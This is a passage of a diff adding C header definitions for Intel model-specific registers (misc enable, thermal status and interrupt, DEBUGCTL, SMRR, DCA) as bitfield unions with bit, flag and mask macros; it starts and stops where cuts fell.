processor_event_based_sampling_unavailable : 1; +#define IA32_MISC_ENABLE_PROCESSOR_EVENT_BASED_SAMPLING_UNAVAILABLE_BIT 12 +#define IA32_MISC_ENABLE_PROCESSOR_EVENT_BASED_SAMPLING_UNAVAILABLE_FLAG 0x1000 +#define IA32_MISC_ENABLE_PROCESSOR_EVENT_BASED_SAMPLING_UNAVAILABLE_MASK 0x01 +#define IA32_MISC_ENABLE_PROCESSOR_EVENT_BASED_SAMPLING_UNAVAILABLE(_) (((_) >> 12) & 0x01) + uint64_t reserved4 : 3; + + /** + * @brief Enhanced Intel SpeedStep Technology Enable (R/W) + * + * [Bit 16] - 0 = Enhanced Intel SpeedStep Technology disabled. + * - 1 = Enhanced Intel SpeedStep Technology enabled. + * + * @remarks If CPUID.01H: ECX[7] = 1 + */ + uint64_t enhanced_intel_speedstep_technology_enable : 1; +#define IA32_MISC_ENABLE_ENHANCED_INTEL_SPEEDSTEP_TECHNOLOGY_ENABLE_BIT 16 +#define IA32_MISC_ENABLE_ENHANCED_INTEL_SPEEDSTEP_TECHNOLOGY_ENABLE_FLAG 0x10000 +#define IA32_MISC_ENABLE_ENHANCED_INTEL_SPEEDSTEP_TECHNOLOGY_ENABLE_MASK 0x01 +#define IA32_MISC_ENABLE_ENHANCED_INTEL_SPEEDSTEP_TECHNOLOGY_ENABLE(_) (((_) >> 16) & 0x01) + uint64_t reserved5 : 1; + + /** + * @brief ENABLE MONITOR FSM (R/W) + * + * [Bit 18] When this bit is set to 0, the MONITOR feature flag is not set (CPUID.01H:ECX[bit3] = 0). This indicates that + * MONITOR/MWAIT are not supported. Software attempts to execute MONITOR/MWAIT will cause \#UD when this bit is 0. + * When this bit is set to 1 (default), MONITOR/MWAIT are supported (CPUID.01H:ECX[bit 3] = 1). If the SSE3 feature flag + * ECX[0] is not set (CPUID.01H:ECX[bit 0] = 0), the OS must not attempt to alter this bit. BIOS must leave it in the + * default state. Writing this bit when the SSE3 feature flag is set to 0 may generate a \#GP exception. + * + * @remarks 0F_03H + */ + uint64_t enable_monitor_fsm : 1; +#define IA32_MISC_ENABLE_ENABLE_MONITOR_FSM_BIT 18 +#define IA32_MISC_ENABLE_ENABLE_MONITOR_FSM_FLAG 0x40000 +#define IA32_MISC_ENABLE_ENABLE_MONITOR_FSM_MASK 0x01 +#define IA32_MISC_ENABLE_ENABLE_MONITOR_FSM(_) (((_) >> 18) & 0x01) + uint64_t reserved6 : 3; + + /** + * @brief Limit CPUID Maxval (R/W) + * + * [Bit 22] When this bit is set to 1, CPUID.00H returns a maximum value in EAX[7:0] of 2. BIOS should contain a setup + * question that allows users to specify when the installed OS does not support CPUID functions greater than 2. + * Before setting this bit, BIOS must execute the CPUID.0H and examine the maximum value returned in EAX[7:0]. If the + * maximum value is greater than 2, this bit is supported. + * Otherwise, this bit is not supported. Setting this bit when the maximum value is not greater than 2 may generate a \#GP + * exception. Setting this bit may cause unexpected behavior in software that depends on the availability of CPUID leaves + * greater than 2. + * + * @remarks 0F_03H + */ + uint64_t limit_cpuid_maxval : 1; +#define IA32_MISC_ENABLE_LIMIT_CPUID_MAXVAL_BIT 22 +#define IA32_MISC_ENABLE_LIMIT_CPUID_MAXVAL_FLAG 0x400000 +#define IA32_MISC_ENABLE_LIMIT_CPUID_MAXVAL_MASK 0x01 +#define IA32_MISC_ENABLE_LIMIT_CPUID_MAXVAL(_) (((_) >> 22) & 0x01) + + /** + * @brief xTPR Message Disable (R/W) + * + * [Bit 23] When set to 1, xTPR messages are disabled. xTPR messages are optional messages that allow the processor to + * inform the chipset of its priority. + * + * @remarks If CPUID.01H:ECX[14] = 1 + */ + uint64_t xtpr_message_disable : 1; +#define IA32_MISC_ENABLE_XTPR_MESSAGE_DISABLE_BIT 23 +#define IA32_MISC_ENABLE_XTPR_MESSAGE_DISABLE_FLAG 0x800000 +#define IA32_MISC_ENABLE_XTPR_MESSAGE_DISABLE_MASK 0x01 +#define IA32_MISC_ENABLE_XTPR_MESSAGE_DISABLE(_) (((_) >> 23) & 0x01) + uint64_t reserved7 : 10; + + /** + * @brief XD Bit Disable (R/W) + * + * [Bit 34] When set to 1, the Execute Disable Bit feature (XD Bit) is disabled and the XD Bit extended feature flag will + * be clear (CPUID.80000001H: EDX[20]=0). + * When set to a 0 (default), the Execute Disable Bit feature (if available) allows the OS to enable PAE paging and take + * advantage of data only pages. + * BIOS must not alter the contents of this bit location, if XD bit is not supported. Writing this bit to 1 when the XD Bit + * extended feature flag is set to 0 may generate a \#GP exception. + * + * @remarks If CPUID.80000001H:EDX[20] = 1 + */ + uint64_t xd_bit_disable : 1; +#define IA32_MISC_ENABLE_XD_BIT_DISABLE_BIT 34 +#define IA32_MISC_ENABLE_XD_BIT_DISABLE_FLAG 0x400000000 +#define IA32_MISC_ENABLE_XD_BIT_DISABLE_MASK 0x01 +#define IA32_MISC_ENABLE_XD_BIT_DISABLE(_) (((_) >> 34) & 0x01) + uint64_t reserved8 : 29; + }; + + uint64_t flags; +} ia32_misc_enable_register; + + +/** + * Performance Energy Bias Hint. + * + * @remarks If CPUID.6H:ECX[3] = 1 + */ +#define IA32_ENERGY_PERF_BIAS 0x000001B0 +typedef union +{ + struct + { + /** + * @brief Power Policy Preference + * + * [Bits 3:0] - 0 indicates preference to highest performance. + * - 15 indicates preference to maximize energy saving. + */ + uint64_t power_policy_preference : 4; +#define IA32_ENERGY_PERF_BIAS_POWER_POLICY_PREFERENCE_BIT 0 +#define IA32_ENERGY_PERF_BIAS_POWER_POLICY_PREFERENCE_FLAG 0x0F +#define IA32_ENERGY_PERF_BIAS_POWER_POLICY_PREFERENCE_MASK 0x0F +#define IA32_ENERGY_PERF_BIAS_POWER_POLICY_PREFERENCE(_) (((_) >> 0) & 0x0F) + uint64_t reserved1 : 60; + }; + + uint64_t flags; +} ia32_energy_perf_bias_register; + + +/** + * @brief Package Thermal Status Information (RO) + * + * Package Thermal Status Information. Contains status information about the package's thermal sensor. + * + * @remarks If CPUID.06H: EAX[6] = 1 + * @see Vol3B[14.8(PACKAGE LEVEL THERMAL MANAGEMENT)] + */ +#define IA32_PACKAGE_THERM_STATUS 0x000001B1 +typedef union +{ + struct + { + /** + * [Bit 0] Pkg Thermal Status + */ + uint64_t thermal_status : 1; +#define IA32_PACKAGE_THERM_STATUS_THERMAL_STATUS_BIT 0 +#define IA32_PACKAGE_THERM_STATUS_THERMAL_STATUS_FLAG 0x01 +#define IA32_PACKAGE_THERM_STATUS_THERMAL_STATUS_MASK 0x01 +#define IA32_PACKAGE_THERM_STATUS_THERMAL_STATUS(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Pkg Thermal Status Log + */ + uint64_t thermal_status_log : 1; +#define IA32_PACKAGE_THERM_STATUS_THERMAL_STATUS_LOG_BIT 1 +#define IA32_PACKAGE_THERM_STATUS_THERMAL_STATUS_LOG_FLAG 0x02 +#define IA32_PACKAGE_THERM_STATUS_THERMAL_STATUS_LOG_MASK 0x01 +#define IA32_PACKAGE_THERM_STATUS_THERMAL_STATUS_LOG(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] Pkg PROCHOT \# event + */ + uint64_t prochot_event : 1; +#define IA32_PACKAGE_THERM_STATUS_PROCHOT_EVENT_BIT 2 +#define IA32_PACKAGE_THERM_STATUS_PROCHOT_EVENT_FLAG 0x04 +#define IA32_PACKAGE_THERM_STATUS_PROCHOT_EVENT_MASK 0x01 +#define IA32_PACKAGE_THERM_STATUS_PROCHOT_EVENT(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] Pkg PROCHOT \# log + */ + uint64_t prochot_log : 1; +#define IA32_PACKAGE_THERM_STATUS_PROCHOT_LOG_BIT 3 +#define IA32_PACKAGE_THERM_STATUS_PROCHOT_LOG_FLAG 0x08 +#define IA32_PACKAGE_THERM_STATUS_PROCHOT_LOG_MASK 0x01 +#define IA32_PACKAGE_THERM_STATUS_PROCHOT_LOG(_) (((_) >> 3) & 0x01) + + /** + * [Bit 4] Pkg Critical Temperature Status + */ + uint64_t critical_temperature_status : 1; +#define IA32_PACKAGE_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_BIT 4 +#define IA32_PACKAGE_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_FLAG 0x10 +#define IA32_PACKAGE_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_MASK 0x01 +#define IA32_PACKAGE_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS(_) (((_) >> 4) & 0x01) + + /** + * [Bit 5] Pkg Critical Temperature Status Log + */ + uint64_t critical_temperature_status_log : 1; +#define IA32_PACKAGE_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_LOG_BIT 5 +#define IA32_PACKAGE_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_LOG_FLAG 0x20 +#define IA32_PACKAGE_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_LOG_MASK 0x01 +#define IA32_PACKAGE_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_LOG(_) (((_) >> 5) & 0x01) + + /** + * [Bit 6] Pkg Thermal Threshold \#1 Status + */ + uint64_t thermal_threshold1_status : 1; +#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD1_STATUS_BIT 6 +#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD1_STATUS_FLAG 0x40 +#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD1_STATUS_MASK 0x01 +#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD1_STATUS(_) (((_) >> 6) & 0x01) + + /** + * [Bit 7] Pkg Thermal Threshold \#1 log + */ + uint64_t thermal_threshold1_log : 1; +#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD1_LOG_BIT 7 +#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD1_LOG_FLAG 0x80 +#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD1_LOG_MASK 0x01 +#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD1_LOG(_) (((_) >> 7) & 0x01) + + /** + * [Bit 8] Pkg Thermal Threshold \#2 Status + */ + uint64_t thermal_threshold2_status : 1; +#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD2_STATUS_BIT 8 +#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD2_STATUS_FLAG 0x100 +#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD2_STATUS_MASK 0x01 +#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD2_STATUS(_) (((_) >> 8) & 0x01) + + /** + * [Bit 9] Pkg Thermal Threshold \#2 log + */ + uint64_t thermal_threshold2_log : 1; +#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD2_LOG_BIT 9 +#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD2_LOG_FLAG 0x200 +#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD2_LOG_MASK 0x01 +#define IA32_PACKAGE_THERM_STATUS_THERMAL_THRESHOLD2_LOG(_) (((_) >> 9) & 0x01) + + /** + * [Bit 10] Pkg Power Limitation Status + */ + uint64_t power_limitation_status : 1; +#define IA32_PACKAGE_THERM_STATUS_POWER_LIMITATION_STATUS_BIT 10 +#define IA32_PACKAGE_THERM_STATUS_POWER_LIMITATION_STATUS_FLAG 0x400 +#define IA32_PACKAGE_THERM_STATUS_POWER_LIMITATION_STATUS_MASK 0x01 +#define IA32_PACKAGE_THERM_STATUS_POWER_LIMITATION_STATUS(_) (((_) >> 10) & 0x01) + + /** + * [Bit 11] Pkg Power Limitation log + */ + uint64_t power_limitation_log : 1; +#define IA32_PACKAGE_THERM_STATUS_POWER_LIMITATION_LOG_BIT 11 +#define IA32_PACKAGE_THERM_STATUS_POWER_LIMITATION_LOG_FLAG 0x800 +#define IA32_PACKAGE_THERM_STATUS_POWER_LIMITATION_LOG_MASK 0x01 +#define IA32_PACKAGE_THERM_STATUS_POWER_LIMITATION_LOG(_) (((_) >> 11) & 0x01) + uint64_t reserved1 : 4; + + /** + * [Bits 22:16] Pkg Digital Readout + */ + uint64_t digital_readout : 7; +#define IA32_PACKAGE_THERM_STATUS_DIGITAL_READOUT_BIT 16 +#define IA32_PACKAGE_THERM_STATUS_DIGITAL_READOUT_FLAG 0x7F0000 +#define IA32_PACKAGE_THERM_STATUS_DIGITAL_READOUT_MASK 0x7F +#define IA32_PACKAGE_THERM_STATUS_DIGITAL_READOUT(_) (((_) >> 16) & 0x7F) + uint64_t reserved2 : 41; + }; + + uint64_t flags; +} ia32_package_therm_status_register; + + +/** + * @brief Package Thermal Interrupt Control (RO) + * + * Enables and disables the generation of an interrupt on temperature transitions detected with the package's thermal + * sensor. + * + * @remarks If CPUID.06H: EAX[6] = 1 + * @see Vol3B[14.8(PACKAGE LEVEL THERMAL MANAGEMENT)] + */ +#define IA32_PACKAGE_THERM_INTERRUPT 0x000001B2 +typedef union +{ + struct + { + /** + * [Bit 0] Pkg High-Temperature Interrupt Enable. + */ + uint64_t high_temperature_interrupt_enable : 1; +#define IA32_PACKAGE_THERM_INTERRUPT_HIGH_TEMPERATURE_INTERRUPT_ENABLE_BIT 0 +#define IA32_PACKAGE_THERM_INTERRUPT_HIGH_TEMPERATURE_INTERRUPT_ENABLE_FLAG 0x01 +#define IA32_PACKAGE_THERM_INTERRUPT_HIGH_TEMPERATURE_INTERRUPT_ENABLE_MASK 0x01 +#define IA32_PACKAGE_THERM_INTERRUPT_HIGH_TEMPERATURE_INTERRUPT_ENABLE(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Pkg Low-Temperature Interrupt Enable. + */ + uint64_t low_temperature_interrupt_enable : 1; +#define IA32_PACKAGE_THERM_INTERRUPT_LOW_TEMPERATURE_INTERRUPT_ENABLE_BIT 1 +#define IA32_PACKAGE_THERM_INTERRUPT_LOW_TEMPERATURE_INTERRUPT_ENABLE_FLAG 0x02 +#define IA32_PACKAGE_THERM_INTERRUPT_LOW_TEMPERATURE_INTERRUPT_ENABLE_MASK 0x01 +#define IA32_PACKAGE_THERM_INTERRUPT_LOW_TEMPERATURE_INTERRUPT_ENABLE(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] Pkg PROCHOT\# Interrupt Enable. + */ + uint64_t prochot_interrupt_enable : 1; +#define IA32_PACKAGE_THERM_INTERRUPT_PROCHOT_INTERRUPT_ENABLE_BIT 2 +#define IA32_PACKAGE_THERM_INTERRUPT_PROCHOT_INTERRUPT_ENABLE_FLAG 0x04 +#define IA32_PACKAGE_THERM_INTERRUPT_PROCHOT_INTERRUPT_ENABLE_MASK 0x01 +#define IA32_PACKAGE_THERM_INTERRUPT_PROCHOT_INTERRUPT_ENABLE(_) (((_) >> 2) & 0x01) + uint64_t reserved1 : 1; + + /** + * [Bit 4] Pkg Overheat Interrupt Enable. + */ + uint64_t overheat_interrupt_enable : 1; +#define IA32_PACKAGE_THERM_INTERRUPT_OVERHEAT_INTERRUPT_ENABLE_BIT 4 +#define IA32_PACKAGE_THERM_INTERRUPT_OVERHEAT_INTERRUPT_ENABLE_FLAG 0x10 +#define IA32_PACKAGE_THERM_INTERRUPT_OVERHEAT_INTERRUPT_ENABLE_MASK 0x01 +#define IA32_PACKAGE_THERM_INTERRUPT_OVERHEAT_INTERRUPT_ENABLE(_) (((_) >> 4) & 0x01) + uint64_t reserved2 : 3; + + /** + * [Bits 14:8] Pkg Threshold \#1 Value + */ + uint64_t threshold1_value : 7; +#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD1_VALUE_BIT 8 +#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD1_VALUE_FLAG 0x7F00 +#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD1_VALUE_MASK 0x7F +#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD1_VALUE(_) (((_) >> 8) & 0x7F) + + /** + * [Bit 15] Pkg Threshold \#1 Interrupt Enable. + */ + uint64_t threshold1_interrupt_enable : 1; +#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD1_INTERRUPT_ENABLE_BIT 15 +#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD1_INTERRUPT_ENABLE_FLAG 0x8000 +#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD1_INTERRUPT_ENABLE_MASK 0x01 +#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD1_INTERRUPT_ENABLE(_) (((_) >> 15) & 0x01) + + /** + * [Bits 22:16] Pkg Threshold \#2 Value. + */ + uint64_t threshold2_value : 7; +#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD2_VALUE_BIT 16 +#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD2_VALUE_FLAG 0x7F0000 +#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD2_VALUE_MASK 0x7F +#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD2_VALUE(_) (((_) >> 16) & 0x7F) + + /** + * [Bit 23] Pkg Threshold \#2 Interrupt Enable. + */ + uint64_t threshold2_interrupt_enable : 1; +#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD2_INTERRUPT_ENABLE_BIT 23 +#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD2_INTERRUPT_ENABLE_FLAG 0x800000 +#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD2_INTERRUPT_ENABLE_MASK 0x01 +#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD2_INTERRUPT_ENABLE(_) (((_) >> 23) & 0x01) + + /** + * [Bit 24] Pkg Power Limit Notification Enable. + */ + uint64_t power_limit_notification_enable : 1; +#define IA32_PACKAGE_THERM_INTERRUPT_POWER_LIMIT_NOTIFICATION_ENABLE_BIT 24 +#define IA32_PACKAGE_THERM_INTERRUPT_POWER_LIMIT_NOTIFICATION_ENABLE_FLAG 0x1000000 +#define IA32_PACKAGE_THERM_INTERRUPT_POWER_LIMIT_NOTIFICATION_ENABLE_MASK 0x01 +#define IA32_PACKAGE_THERM_INTERRUPT_POWER_LIMIT_NOTIFICATION_ENABLE(_) (((_) >> 24) & 0x01) + uint64_t reserved3 : 39; + }; + + uint64_t flags; +} ia32_package_therm_interrupt_register; + + +/** + * Trace/Profile Resource Control. + * + * @remarks 06_0EH + */ +#define IA32_DEBUGCTL 0x000001D9 +typedef union +{ + struct + { + /** + * [Bit 0] Setting this bit to 1 enables the processor to record a running trace of the most recent branches taken by the + * processor in the LBR stack. + * + * @remarks 06_01H + */ + uint64_t lbr : 1; +#define IA32_DEBUGCTL_LBR_BIT 0 +#define IA32_DEBUGCTL_LBR_FLAG 0x01 +#define IA32_DEBUGCTL_LBR_MASK 0x01 +#define IA32_DEBUGCTL_LBR(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Setting this bit to 1 enables the processor to treat EFLAGS.TF as single-step on branches instead of single-step + * on instructions. + * + * @remarks 06_01H + */ + uint64_t btf : 1; +#define IA32_DEBUGCTL_BTF_BIT 1 +#define IA32_DEBUGCTL_BTF_FLAG 0x02 +#define IA32_DEBUGCTL_BTF_MASK 0x01 +#define IA32_DEBUGCTL_BTF(_) (((_) >> 1) & 0x01) + uint64_t reserved1 : 4; + + /** + * [Bit 6] Setting this bit to 1 enables branch trace messages to be sent. + * + * @remarks 06_0EH + */ + uint64_t tr : 1; +#define IA32_DEBUGCTL_TR_BIT 6 +#define IA32_DEBUGCTL_TR_FLAG 0x40 +#define IA32_DEBUGCTL_TR_MASK 0x01 +#define IA32_DEBUGCTL_TR(_) (((_) >> 6) & 0x01) + + /** + * [Bit 7] Setting this bit enables branch trace messages (BTMs) to be logged in a BTS buffer. + * + * @remarks 06_0EH + */ + uint64_t bts : 1; +#define IA32_DEBUGCTL_BTS_BIT 7 +#define IA32_DEBUGCTL_BTS_FLAG 0x80 +#define IA32_DEBUGCTL_BTS_MASK 0x01 +#define IA32_DEBUGCTL_BTS(_) (((_) >> 7) & 0x01) + + /** + * [Bit 8] When clear, BTMs are logged in a BTS buffer in circular fashion. When this bit is set, an interrupt is generated + * by the BTS facility when the BTS buffer is full. + * + * @remarks 06_0EH + */ + uint64_t btint : 1; +#define IA32_DEBUGCTL_BTINT_BIT 8 +#define IA32_DEBUGCTL_BTINT_FLAG 0x100 +#define IA32_DEBUGCTL_BTINT_MASK 0x01 +#define IA32_DEBUGCTL_BTINT(_) (((_) >> 8) & 0x01) + + /** + * [Bit 9] When set, BTS or BTM is skipped if CPL = 0. + * + * @remarks 06_0FH + */ + uint64_t bts_off_os : 1; +#define IA32_DEBUGCTL_BTS_OFF_OS_BIT 9 +#define IA32_DEBUGCTL_BTS_OFF_OS_FLAG 0x200 +#define IA32_DEBUGCTL_BTS_OFF_OS_MASK 0x01 +#define IA32_DEBUGCTL_BTS_OFF_OS(_) (((_) >> 9) & 0x01) + + /** + * [Bit 10] When set, BTS or BTM is skipped if CPL > 0. + * + * @remarks 06_0FH + */ + uint64_t bts_off_usr : 1; +#define IA32_DEBUGCTL_BTS_OFF_USR_BIT 10 +#define IA32_DEBUGCTL_BTS_OFF_USR_FLAG 0x400 +#define IA32_DEBUGCTL_BTS_OFF_USR_MASK 0x01 +#define IA32_DEBUGCTL_BTS_OFF_USR(_) (((_) >> 10) & 0x01) + + /** + * [Bit 11] When set, the LBR stack is frozen on a PMI request. + * + * @remarks If CPUID.01H: ECX[15] = 1 && CPUID.0AH: EAX[7:0] > 1 + */ + uint64_t freeze_lbrs_on_pmi : 1; +#define IA32_DEBUGCTL_FREEZE_LBRS_ON_PMI_BIT 11 +#define IA32_DEBUGCTL_FREEZE_LBRS_ON_PMI_FLAG 0x800 +#define IA32_DEBUGCTL_FREEZE_LBRS_ON_PMI_MASK 0x01 +#define IA32_DEBUGCTL_FREEZE_LBRS_ON_PMI(_) (((_) >> 11) & 0x01) + + /** + * [Bit 12] When set, each ENABLE bit of the global counter control MSR are frozen (address 38FH) on a PMI request. + * + * @remarks If CPUID.01H: ECX[15] = 1 && CPUID.0AH: EAX[7:0] > 1 + */ + uint64_t freeze_perfmon_on_pmi : 1; +#define IA32_DEBUGCTL_FREEZE_PERFMON_ON_PMI_BIT 12 +#define IA32_DEBUGCTL_FREEZE_PERFMON_ON_PMI_FLAG 0x1000 +#define IA32_DEBUGCTL_FREEZE_PERFMON_ON_PMI_MASK 0x01 +#define IA32_DEBUGCTL_FREEZE_PERFMON_ON_PMI(_) (((_) >> 12) & 0x01) + + /** + * [Bit 13] When set, enables the logical processor to receive and generate PMI on behalf of the uncore. + * + * @remarks 06_1AH + */ + uint64_t enable_uncore_pmi : 1; +#define IA32_DEBUGCTL_ENABLE_UNCORE_PMI_BIT 13 +#define IA32_DEBUGCTL_ENABLE_UNCORE_PMI_FLAG 0x2000 +#define IA32_DEBUGCTL_ENABLE_UNCORE_PMI_MASK 0x01 +#define IA32_DEBUGCTL_ENABLE_UNCORE_PMI(_) (((_) >> 13) & 0x01) + + /** + * [Bit 14] When set, freezes perfmon and trace messages while in SMM. + * + * @remarks If IA32_PERF_CAPABILITIES[12] = 1 + */ + uint64_t freeze_while_smm : 1; +#define IA32_DEBUGCTL_FREEZE_WHILE_SMM_BIT 14 +#define IA32_DEBUGCTL_FREEZE_WHILE_SMM_FLAG 0x4000 +#define IA32_DEBUGCTL_FREEZE_WHILE_SMM_MASK 0x01 +#define IA32_DEBUGCTL_FREEZE_WHILE_SMM(_) (((_) >> 14) & 0x01) + + /** + * [Bit 15] When set, enables DR7 debug bit on XBEGIN. + * + * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[11] = 1) + */ + uint64_t rtm_debug : 1; +#define IA32_DEBUGCTL_RTM_DEBUG_BIT 15 +#define IA32_DEBUGCTL_RTM_DEBUG_FLAG 0x8000 +#define IA32_DEBUGCTL_RTM_DEBUG_MASK 0x01 +#define IA32_DEBUGCTL_RTM_DEBUG(_) (((_) >> 15) & 0x01) + uint64_t reserved2 : 48; + }; + + uint64_t flags; +} ia32_debugctl_register; + + +/** + * @brief SMRR Base Address (Writeable only in SMM) + * + * SMRR Base Address. Base address of SMM memory range. + * + * @remarks If IA32_MTRRCAP.SMRR[11] = 1 + */ +#define IA32_SMRR_PHYSBASE 0x000001F2 +typedef union +{ + struct + { + /** + * @brief Type + * + * [Bits 7:0] Type. Specifies memory type of the range. + */ + uint64_t type : 8; +#define IA32_SMRR_PHYSBASE_TYPE_BIT 0 +#define IA32_SMRR_PHYSBASE_TYPE_FLAG 0xFF +#define IA32_SMRR_PHYSBASE_TYPE_MASK 0xFF +#define IA32_SMRR_PHYSBASE_TYPE(_) (((_) >> 0) & 0xFF) + uint64_t reserved1 : 4; + + /** + * [Bits 31:12] SMRR physical Base Address. + */ + uint64_t smrr_physical_base_address : 20; +#define IA32_SMRR_PHYSBASE_SMRR_PHYSICAL_BASE_ADDRESS_BIT 12 +#define IA32_SMRR_PHYSBASE_SMRR_PHYSICAL_BASE_ADDRESS_FLAG 0xFFFFF000 +#define IA32_SMRR_PHYSBASE_SMRR_PHYSICAL_BASE_ADDRESS_MASK 0xFFFFF +#define IA32_SMRR_PHYSBASE_SMRR_PHYSICAL_BASE_ADDRESS(_) (((_) >> 12) & 0xFFFFF) + uint64_t reserved2 : 32; + }; + + uint64_t flags; +} ia32_smrr_physbase_register; + + +/** + * @brief SMRR Range Mask (Writeable only in SMM) + * + * Range Mask of SMM memory range. + * + * @remarks If IA32_MTRRCAP[SMRR] = 1 + */ +#define IA32_SMRR_PHYSMASK 0x000001F3 +typedef union +{ + struct + { + uint64_t reserved1 : 11; + + /** + * [Bit 11] Enable range mask. + */ + uint64_t enable_range_mask : 1; +#define IA32_SMRR_PHYSMASK_ENABLE_RANGE_MASK_BIT 11 +#define IA32_SMRR_PHYSMASK_ENABLE_RANGE_MASK_FLAG 0x800 +#define IA32_SMRR_PHYSMASK_ENABLE_RANGE_MASK_MASK 0x01 +#define IA32_SMRR_PHYSMASK_ENABLE_RANGE_MASK(_) (((_) >> 11) & 0x01) + + /** + * [Bits 31:12] SMRR address range mask. + */ + uint64_t smrr_address_range_mask : 20; +#define IA32_SMRR_PHYSMASK_SMRR_ADDRESS_RANGE_MASK_BIT 12 +#define IA32_SMRR_PHYSMASK_SMRR_ADDRESS_RANGE_MASK_FLAG 0xFFFFF000 +#define IA32_SMRR_PHYSMASK_SMRR_ADDRESS_RANGE_MASK_MASK 0xFFFFF +#define IA32_SMRR_PHYSMASK_SMRR_ADDRESS_RANGE_MASK(_) (((_) >> 12) & 0xFFFFF) + uint64_t reserved2 : 32; + }; + + uint64_t flags; +} ia32_smrr_physmask_register; + + +/** + * DCA Capability. + * + * @remarks If CPUID.01H: ECX[18] = 1 + */ +#define IA32_PLATFORM_DCA_CAP 0x000001F8 + + /** + * If set, CPU supports Prefetch-Hint type. + * + * @remarks If CPUID.01H: ECX[18] = 1 + */ +#define IA32_CPU_DCA_CAP 0x000001F9 + + /** + * DCA type 0 Status and Control register. + * + * @remarks If CPUID.01H: ECX[18] = 1 + */ +#define IA32_DCA_0_CAP 0x000001FA +typedef union +{ + struct + { + /** + * [Bit 0] Set by HW when DCA is fuseenabled and no defeatures are set. + */ + uint64_t dca_active : 1; +#define IA32_DCA_0_CAP_DCA_ACTIVE_BIT 0 +#define IA32_DCA_0_CAP_DCA_ACTIVE_FLAG 0x01 +#define IA32_DCA_0_CAP_DCA_ACTIVE_MASK 0x01 +#define IA32_DCA_0_CAP_DCA_ACTIVE(_) (((_) >> 0) & 0x01) + + /** + * [Bits 2:1] TRANSACTION. + */ + uint64_t transaction : 2; +#define IA32_DCA_0_CAP_TRANSACTION_BIT 1 +#define IA32_DCA_0_CAP_TRANSACTION_FLAG 0x06 +#define IA32_DCA_0_CAP_TRANSACTION_MASK 0x03 +#define IA32_DCA_0_CAP_TRANSACTION(_) (((_) >> 1) & 0x03) + + /** + * [Bits 6:3] DCA_TYPE. + */ + uint64_t dca_type : 4; +#define IA32_DCA_0_CAP_DCA_TYPE_BIT 3 +#define IA32_DCA_0_CAP_DCA_TYPE_FLAG 0x78 +#define IA32_DCA_0_CAP_DCA_TYPE_MASK 0x0F +#define IA32_DCA_0_CAP_DCA_TYPE(_) (((_) >> 3) & 0x0F) + + /** + * [Bits 10:7] DCA_QUEUE_SIZE. + */ + uint64_t dca_queue_size : 4; +#define IA32_DCA_0_CAP_DCA_QUEUE_SIZE_BIT 7 +#define IA32_DCA_0_CAP_DCA_QUEUE_SIZE_FLAG 0x780 +#define IA32_DCA_0_CAP_DCA_QUEUE_SIZE_MASK 0x0F +#define IA32_DCA_0_CAP_DCA_QUEUE_SIZE(_) (((_) >> 7) & 0x0F) + uint64_t reserved1 : 2; + + /** + * [Bits 16:13] Writes will update the register but have no HW side-effect. + */ + uint64_t dca_delay : 4; +#define IA32_DCA_0_CAP_DCA_DELAY_BIT 13 +#define IA32_DCA_0_CAP_DCA_DELAY_FLAG 0x1E000 +#define IA32_DCA_0_CAP_DCA_DELAY_MASK 0x0F +#define IA32_DCA_0_CAP_DCA_DELAY(_) (((_) >> 13) & 0x0F) + uint64_t reserved2 : 7; + + /** + * [Bit 24] SW can request DCA block by setting this bit. + */ + uint64_t sw_block : 1; +#define IA32_DCA_0_CAP_SW_BLOCK_BIT 24 +#define IA32_DCA_0_CAP_SW_BLOCK_FLAG 0x1000000 +#define IA32_DCA_0_CAP_SW_BLOCK_MASK 0x01 +#define IA32_DCA_0_CAP_SW_BLOCK(_) (((_) >> 24) & 0x01) + uint64_t reserved3 : 1; + + /** + * [Bit 26] Set when DCA is blocked by HW (e.g. CR0.CD = 1). + */ + uint64_t hw_block : 1; +#define 